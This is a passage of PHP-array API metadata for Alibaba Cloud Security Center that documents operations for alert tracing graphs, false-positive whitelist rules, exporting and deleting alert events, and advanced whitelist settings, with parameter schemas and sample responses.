'https://img.alicdn.com/imgextra/i4/O1CN01ft6rvQ22uUX2JsTmv_!!6000000007180-55-tps-12-12.svg', ], ], ], ], ], ], 'Success' => [ 'description' => 'The result status of the API call. Values:'."\n" .'- **true**: The API call was successful.'."\n" .'- **false**: The API call failed.', 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'Result code, where **200** indicates success. Any other value indicates failure, and the caller can use this field to determine the reason for the failure.', 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The response message from the request.', 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'A unique identifier generated by Alibaba Cloud for this request.', 'type' => 'string', 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"EntityTypeList\\": [\\n {\\n \\"DisplayOrder\\": 1,\\n \\"DisplayColor\\": \\"#fff\\",\\n \\"DisplayIcon\\": \\"https://img.alicdn.com/tfs/TB176P5OgDqK1RjSZSyXXaxEVXa-49-48.png\\",\\n \\"Name\\": \\"alert\\",\\n \\"Id\\": \\"1\\"\\n }\\n ],\\n \\"EdgeList\\": [\\n {\\n \\"Name\\": \\"bash->apt-get\\",\\n \\"EndId\\": \\"f944c2362c7e111dee16f0e70ad2xxxx\\",\\n \\"EndType\\": \\"process\\",\\n \\"StartId\\": \\"f944c2362c7e111dee16f0e70ad2xxxx\\",\\n \\"StartType\\": \\"file\\",\\n \\"Time\\": \\"2024-07-01 15:25:46\\",\\n \\"Type\\": \\"process_spawn_process\\"\\n }\\n ],\\n \\"VertexList\\": [\\n {\\n \\"Uuid\\": \\"5c081b02-f66a-47a4-bd2f-79ee3eafxxxx\\",\\n \\"Type\\": \\"alert\\",\\n \\"Name\\": \\"1a79b3a10ad5e6cad090dd697a7axxxxx\\",\\n \\"Time\\": \\"2024-07-02 16:14:01\\",\\n \\"Properties\\": \\"{\'DomainName\': {\'SupportScratchDetection\': False, \'Description\': \'The name of the domain.\', \'Required\': True, \'UpdateAllowed\': False, \'Type\': \'string\', \'Immutable\': False}}\\",\\n \\"NeighborList\\": [\\n {\\n \\"HasMore\\": true,\\n \\"Count\\": 1,\\n \\"Type\\": \\"alert\\"\\n }\\n ]\\n }\\n ],\\n \\"RelationTypeList\\": [\\n {\\n \\"Name\\": \\"spawn process\\",\\n \\"Directed\\": 1,\\n \\"DisplayColor\\": \\"#fff\\",\\n \\"DisplayIcon\\": \\"https://img.alicdn.com/imgextra/i4/O1CN01ft6rvQ22uUX2JsTmv_!!6000000007180-55-tps-12-12.svg\\"\\n }\\n ]\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\"\\n}","type":"json"}]', 'title' => 'Query the Investigation and Tracing Graph of an Alert Event', 'translator' => 'machine', ], 'DescribeSecurityEventMarkMissList' => [ 'summary' => 'Queries the list of whitelist rules.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '125.210.XX.XX', ], ], [ 'name' => 'EventName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the alert event. The value indicates a subtype.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Login with unusual location', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The condition that is used to query alert events by asset. You can enter an IP address, a public IP address, an internal IP address, or an asset name for fuzzy match.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page. Default value: **20**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], ], ], 'List' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'EventName' => [ 'description' => 'The name of the alert event. The value indicates a subtype.', 'type' => 'string', 'example' => 'Login with unusual location', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.', 'type' => 'string', 'example' => '8.210.XX.XX', ], 'EventNameOriginal' => [ 'description' => 'The name of the alert event. The value indicates a type.', 'type' => 'string', 'example' => 'login_common_location', ], 'AliUid' => [ 'description' => 'The user ID.', 'type' => 'integer', 'format' => 'int64', 'example' => '176618589410****', ], 'FieldValue' => [ 'description' => 'The value of the field.', 'type' => 'string', 'example' => 'root', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.', 'type' => 'string', 'example' => 'rm-bp1e8t4q15sr3****', ], 'Field' => [ 'description' => 'The field that is used in the whitelist rule.', 'type' => 'string', 'example' => 'type', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.', 'type' => 'string', 'example' => '172.25.XX.XX', ], 'FiledAliasName' => [ 'description' => 'The alias of the field.', 'type' => 'string', 'example' => 'Logon Time', ], 'Uuid' => [ 'description' => 'The UUID of the asset.', 'type' => 'string', 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', ], 'Operate' => [ 'description' => 'The operator. Valid values:'."\n" ."\n" .'- **contains**: contains'."\n" .'- **notContains**: does not contain'."\n" .'- **strEqual**: equals'."\n" .'- **strNotEqual**: does not equal'."\n" .'- **regex**: regular expression', 'type' => 'string', 'example' => 'contains', ], 'EventTypeOriginal' => [ 'description' => 'The type of the alert event.', 'type' => 'string', 'example' => 'login_common_location', ], 'EventType' => [ 'description' => 'The subtype of the alert event.', 'type' => 'string', 'example' => 'Unusual Logon', ], 'InstanceName' => [ 'description' => 'The instance name of the asset.', 'type' => 'string', 'example' => 'sql-test-001', ], 'Id' => [ 'description' => 'The ID of the rule.', 'type' => 'integer', 'format' => 'int64', 'example' => '104037', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 200,\\n \\"Count\\": 9\\n },\\n \\"List\\": [\\n {\\n \\"EventName\\": \\"Login with unusual location\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"EventNameOriginal\\": \\"login_common_location\\",\\n \\"AliUid\\": 0,\\n \\"FieldValue\\": \\"root\\",\\n \\"InstanceId\\": \\"rm-bp1e8t4q15sr3****\\",\\n \\"Field\\": \\"type\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"FiledAliasName\\": \\"Logon Time\\",\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"Operate\\": \\"contains\\",\\n \\"EventTypeOriginal\\": \\"login_common_location\\",\\n \\"EventType\\": \\"Unusual Logon\\",\\n \\"InstanceName\\": \\"sql-test-001\\",\\n \\"Id\\": 104037\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeSecurityEventMarkMissList', ], 'DeleteSecurityEventMarkMissList' => [ 'summary' => 'Deletes multiple custom defense rules at a time. The custom defense rules are used to add false positive alerts to the whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'autoTest' => false, ], 'parameters' => [ [ 'name' => 'Ids', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The IDs of custom defense rule.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the custom defense rule.'."\n" ."\n" .'> You can call the [DescribeSecurityEventMarkMissList](~~2384532~~) operation to query the ID.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '23AD0BD2-8771-5647-819E-6BA51E2XXXXX', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'substitutions' => [ 'Sas::2018-12-03::ModifySecurityEventMarkMissIndividually', ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"23AD0BD2-8771-5647-819E-6BA51E2XXXXX\\"\\n}","type":"json"}]', 'title' => 'DeleteSecurityEventMarkMissList', ], 'ExportSuspEvents' => [ 'summary' => 'Exports the information about exceptions to a file.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '106280', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request. The value of this parameter is specified by the system.'."\n", 'type' => 'string', 'required' => false, 'example' => '127.0.XX.XX', ], ], [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'description' => 'The status of the alert event. Valid values:'."\n" ."\n" .'* **N**: unhandled'."\n" .'* **Y**: handled'."\n", 'type' => 'string', 'required' => false, 'example' => 'Y', ], ], [ 'name' => 'TimeStart', 'in' => 'query', 'schema' => [ 'description' => 'The beginning of the time range during which the exception is detected.'."\n", 'type' => 'string', 'required' => false, 'example' => '2022-10-01 00:00:00', ], ], [ 'name' => 'TimeEnd', 'in' => 'query', 'schema' => [ 'description' => 'The end of the time range during which the exception is detected.'."\n", 'type' => 'string', 'required' => false, 'example' => '2022-12-05 00:00:00', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The complete name of the exception.'."\n", 'type' => 'string', 'required' => false, 'example' => 'WEBSHELL', ], ], [ 'name' => 'Levels', 'in' => 'query', 'schema' => [ 'description' => 'The severity of the alert event. Separate multiple severities with commas (,). Valid values:'."\n" ."\n" .'* **serious**'."\n" .'* **suspicious**'."\n" .'* **remind**'."\n", 'type' => 'string', 'required' => false, 'example' => 'serious,suspicious,remind', ], ], [ 'name' => 'ParentEventTypes', 'in' => 'query', 'schema' => [ 'description' => 'The alert type of the alert event. Valid values:'."\n" ."\n" .'* **Suspicious process**'."\n" .'* **Webshell**'."\n" .'* **Unusual logon**'."\n" .'* **Exception**'."\n" .'* **Sensitive file tampering**'."\n" .'* **Malicious process (cloud threat detection)**'."\n" .'* **Suspicious network connection**'."\n" .'* **Suspicious account**'."\n" .'* **Application intrusion event**'."\n" .'* **Cloud threat detection**'."\n" .'* **Precise defense**'."\n" .'* **Application whitelist**'."\n" .'* **Persistent webshell**'."\n" .'* **Web application threat detection**'."\n" .'* **Malicious script**'."\n" .'* **Threat intelligence**'."\n" .'* **Malicious network activity**'."\n" .'* **Cluster exception**'."\n" .'* **Webshell (on-premises threat detection)**'."\n" .'* **Vulnerability exploitation**'."\n" .'* **Malicious process (on-premises threat detection)**'."\n" .'* **Trusted exception**'."\n" .'* **Others**'."\n", 'type' => 'string', 'required' => false, 'example' => 'WEBSHELL', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The remarks.'."\n", 'type' => 'string', 'required' => false, 'example' => 'remark', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'The handling status of the exception. Valid values:'."\n" ."\n" .'* **0**: all status'."\n" .'* **1**: pending handling'."\n" .'* **2**: ignored'."\n" .'* **4**: confirmed'."\n" .'* **8**: marked as false positive'."\n" .'* **16**: handling'."\n" .'* **32**: handled'."\n" .'* **64**: expired'."\n" .'* **128**: deleted'."\n", 'type' => 'string', 'required' => false, 'example' => '0', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The data source of the exception. Set the value to sas.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the cluster that you want to query.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the IDs of clusters.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c4af4fdf38a98496a9b63c2be5dae****', ], ], [ 'name' => 'ContainerFieldName', 'in' => 'query', 'schema' => [ 'description' => 'The key of the condition that is used to query alert events on containers. Valid values:'."\n" ."\n" .'* **instanceId**: the ID of the asset'."\n" .'* **appName**: the name of the application'."\n" .'* **clusterId**: the ID of the cluster'."\n" .'* **regionId**: the ID of the region'."\n" .'* **nodeName**: the name of the node'."\n" .'* **namespace**: the namespace'."\n" .'* **clusterName**: the name of the cluster'."\n" .'* **image**: the name of the image'."\n" .'* **imageRepoName**: the name of the image repository'."\n" .'* **imageRepoNamespace**: the namespace to which the image repository belongs'."\n" .'* **imageRepoTag**: the tag that is added to the image'."\n" .'* **imageDigest**: the digest of the image'."\n", 'type' => 'string', 'required' => false, 'example' => 'clusterId', ], ], [ 'name' => 'ContainerFieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the condition that is used to query alert events on containers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c819391d2d520485fa3e81e2dc2ea****', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The dimension from which you want to configure the feature. Valid values:'."\n" ."\n" .'* **uuid**: the UUID of the asset'."\n" .'* **image_repo**: the ID of the image repository'."\n" .'* **Cluster**: the ID of the cluster'."\n", 'type' => 'string', 'required' => false, 'example' => 'uuid', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: **20**.'."\n", 'type' => 'string', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'string', 'required' => false, 'example' => '1', ], ], [ 'name' => 'AssetsTypeList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The types of assets.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ECS', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The unique ID of the associated instance.'."\n", 'type' => 'string', 'required' => false, 'example' => '18b7336e-d469-473b-af83-8e5420f9****', ], ], [ 'name' => 'UniqueInfo', 'in' => 'query', 'schema' => [ 'description' => 'The unique key of the alert event.'."\n", 'type' => 'string', 'required' => false, 'example' => '1fbe8d16727f61d1478a674d6fa0****', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The unique ID of the alert event.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '17821', ], ], [ 'name' => 'OperateErrorCodeList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The status codes of alert events.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The status code of the alert event. Format: Operation type.Status code of the operation. The following operation types are supported:'."\n" ."\n" .'* **Common**: performs common operations.'."\n" .'* **deal**: handles the alert event.'."\n" .'* **ignore**: ignores the alert event.'."\n" .'* **offline_handled**: marks the alert as handled.'."\n" .'* **mark_mis_info**: marks the alert as a false positive by adding it to the whitelist.'."\n" .'* **rm_mark_mis_info**: cancels a false positive by removing the alert from the whitelist.'."\n" .'* **quara**: quarantines the source file of the malicious process.'."\n" .'* **kill_and_quara**: terminates the malicious process and quarantines the source file.'."\n" .'* **kill_virus**: deletes the source file of the malicious process.'."\n" .'* **block_ip**: blocks the source IP address.'."\n" .'* **manual_handled**: manually handles the alert event.'."\n" .'* **advance_mark_mis_info**: adds the alert event to the whitelist that is configured for precise defense.'."\n" .'* **advance_mark_mis_info.System**: automatically adds the alert event to the whitelist that is configured for precise defense.'."\n" .'* **advance_mark_mis_info.User**: manually adds the alert event to the whitelist that is configured for precise defense.'."\n" ."\n" .'The following status codes are supported:'."\n" ."\n" .'* **Success**: The operation is successful.'."\n" .'* **Failure**: The operation fails.'."\n" .'* **AgentOffline**: The agent is offline.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ignore. Success', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '8076980', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'EF145C20-6A19-529A-8BDD-0671DXXXXXX', ], 'FileName' => [ 'description' => 'The name of the exported file.'."\n", 'type' => 'string', 'example' => 'suspicious_event_20221209', ], 'Id' => [ 'description' => 'The ID of the export record of the anomalous event.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'FreeVersionNotPermit', 'errorMessage' => 'Free version is not permitted.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"EF145C20-6A19-529A-8BDD-0671DXXXXXX\\",\\n \\"FileName\\": \\"suspicious_event_20221209\\",\\n \\"Id\\": 1\\n}","type":"json"}]', 'title' => 'ExportSuspEvents', ], 'DeleteSuspEventNode' => [ 'summary' => 'Deletes the description of an alert.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'abilityTreeCode' => '157293', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'NoteId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the description.'."\n" ."\n" .'> You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to obtain the ID of the description by using the EventNotes field.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'title' => 'BaseResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The additional information that is returned.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'A57C711B-AA15-55B2-8F61-4D09CEXXXXX', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A57C711B-AA15-55B2-8F61-4D09CEXXXXX\\"\\n}","type":"json"}]', 'title' => 'DeleteSuspEventNode', ], 'AdvanceSecurityEventOperations' => [ 'summary' => 'Queries the configurations of an advanced whitelist rule.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '91907', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'The rule ID.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '123', ], ], [ 'name' => 'EventName', 'in' => 'query', 'schema' => [ 'description' => 'The alert name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Execution of malicious script code', ], ], [ 'name' => 'EventType', 'in' => 'query', 'schema' => [ 'description' => 'The alert event type. Valid values:'."\n" ."\n" .'* Suspicious process'."\n" .'* Webshell'."\n" .'* Unusual logon'."\n" .'* Exception'."\n" .'* Sensitive file tampering'."\n" .'* Malicious process (cloud threat detection)'."\n" .'* Unusual network connection'."\n" .'* Abnormal account'."\n" .'* Application intrusion event'."\n" .'* Cloud threat detection'."\n" .'* Precision defense'."\n" .'* Application whitelist'."\n" .'* Persistent webshell'."\n" .'* Web application threat detection'."\n" .'* Malicious script'."\n" .'* Threat intelligence'."\n" .'* Malicious network activity'."\n" .'* Cluster exception'."\n" .'* Webshell (on-premises threat detection)'."\n" .'* Vulnerability exploitation'."\n" .'* Malicious process (on-premises threat detection)'."\n" .'* Trusted exception'."\n" .'* Others'."\n" ."\n" .'For more information about alert types, see [Alerts](~~68388~~).'."\n", 'type' => 'string', 'required' => false, 'example' => 'Malicious script', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX', ], 'SecurityEventOperationsResponse' => [ 'description' => 'The operation performed on the alert event.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'OperationParams' => [ 'description' => 'The configuration of the operation performed to handle the alert event.'."\n", 'type' => 'string', 'example' => '{\\"subOperation\\":\\"killByMd5andPath\\"}', ], 'OperationCode' => [ 'description' => 'The operation performed to handle the alert. Valid values:'."\n" ."\n" .'* **block_ip**: blocks the alert.'."\n" .'* **advance_mark_mis_info**: adds the alert to the whitelist.'."\n" .'* **ignore**: ignores the alert.'."\n" .'* **manual_handled**: marks the alert as manually handled.'."\n" .'* **kill_process**: terminates the malicious process.'."\n" .'* **cleanup**: performs in-depth virus detection and removal.'."\n" .'* **kill_and_quara**: performs virus detection and removal.'."\n" .'* **disable_malicious_defense**: turns off malicious defense behavior.'."\n" .'* **client_problem_check**: performs troubleshooting.'."\n" .'* **quara**: performs quarantine operations.'."\n", 'type' => 'string', 'example' => 'advance_mark_mis_info', ], 'UserCanOperate' => [ 'description' => 'Indicates whether the operation can be performed.'."\n" ."\n" .'* **true**: The operation can be performed.'."\n" .'* **false**: The operation cannot be performed.'."\n", 'type' => 'boolean', 'example' => 'false', ], 'MarkField' => [ 'description' => 'The object on which the operation is performed. This parameter is required when you set the OperationCode parameter to **advance_mark_mis_info**.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'MarkMisType' => [ 'description' => 'The operation that is used in the whitelist rule. Valid values:'."\n" ."\n" .'* **contains**: contains'."\n" .'* **notContains**: does not contain'."\n" .'* **regex**: regular expression'."\n" .'* **strEqual**: equals'."\n" .'* **strNotEqual**: does not equal'."\n", 'type' => 'string', 'example' => 'contains', ], 'FiledName' => [ 'description' => 'The field that is used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'filePath', ], 'FiledAliasName' => [ 'description' => 'The alias of the field that is used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'file path', ], 'MarkMisValue' => [ 'description' => 'The value of the field that is used in the whitelist rule.'."\n", 'type' => 'string', 'example' => '2022-04-25 10:11:04', ], 'SupportedMisType' => [ 'description' => 'The operation that is used and can be modified in the whitelist rule. Valid values:'."\n" ."\n" .'* **contains**: contains'."\n" .'* **notContains**: does not contain'."\n" .'* **regex**: regular expression'."\n" .'* **strEqual**: equals'."\n" .'* **strNotEqual**: does not equal'."\n", 'type' => 'array', 'items' => [ 'description' => 'The operation that is used and can be modified in the whitelist rule. Valid values:'."\n" ."\n" .'* **contains**: contains'."\n" .'* **notContains**: does not contain'."\n" .'* **regex**: regular expression'."\n" .'* **strEqual**: equals'."\n" .'* **strNotEqual**: does not equal'."\n", 'type' => 'string', 'example' => 'contains', ], ], ], ], ], 'MarkFieldsSource' => [ 'description' => 'The metadata configuration returned by the advanced whitelist rule.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'FiledName' => [ 'description' => 'The field that can be used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'filePath', ], 'FiledAliasName' => [ 'description' => 'The alias of the field that can be used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'file path', ], 'MarkMisValue' => [ 'description' => 'The value of the field that can be used in the whitelist rule.'."\n", 'type' => 'string', 'example' => 'contains', ], 'SupportedMisType' => [ 'description' => 'The operation that is supported in the whitelist rule. Valid values:'."\n" ."\n" .'* **contains**: contains'."\n" .'* **notContains**: does not contain'."\n" .'* **regex**: regular expression'."\n" .'* **strEqual**: equals'."\n" .'* **strNotEqual**: does not equal'."\n", 'type' => 'array', 'items' => [ 'description' => 'The operation that is supported in the whitelist rule. Valid values:'."\n" ."\n" .'* **contains**: contains'."\n" .'* **notContains**: does not contain'."\n" .'* **regex**: regular expression'."\n" .'* **strEqual**: equals'."\n" .'* **strNotEqual**: does not equal'."\n", 'type' => 'string', 'example' => 'contains', ], ], ], ], ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX\\",\\n \\"SecurityEventOperationsResponse\\": [\\n {\\n \\"OperationParams\\": \\"{\\\\\\\\\\\\\\"subOperation\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"killByMd5andPath\\\\\\\\\\\\\\"}\\",\\n \\"OperationCode\\": \\"advance_mark_mis_info\\",\\n \\"UserCanOperate\\": false,\\n \\"MarkField\\": [\\n {\\n \\"MarkMisType\\": \\"contains\\",\\n \\"FiledName\\": \\"filePath\\",\\n \\"FiledAliasName\\": \\"file path\\",\\n \\"MarkMisValue\\": \\"2022-04-25 10:11:04\\",\\n \\"SupportedMisType\\": [\\n \\"contains\\"\\n ]\\n }\\n ],\\n \\"MarkFieldsSource\\": [\\n {\\n \\"FiledName\\": \\"filePath\\",\\n \\"FiledAliasName\\": \\"file path\\",\\n \\"MarkMisValue\\": \\"contains\\",\\n \\"SupportedMisType\\": [\\n \\"contains\\"\\n ]\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'AdvanceSecurityEventOperations', ], 'DescribeBackUpExportInfo' => [ 'summary' => 'Queries the information about a file to which archived alert events are exported.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', 'default' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 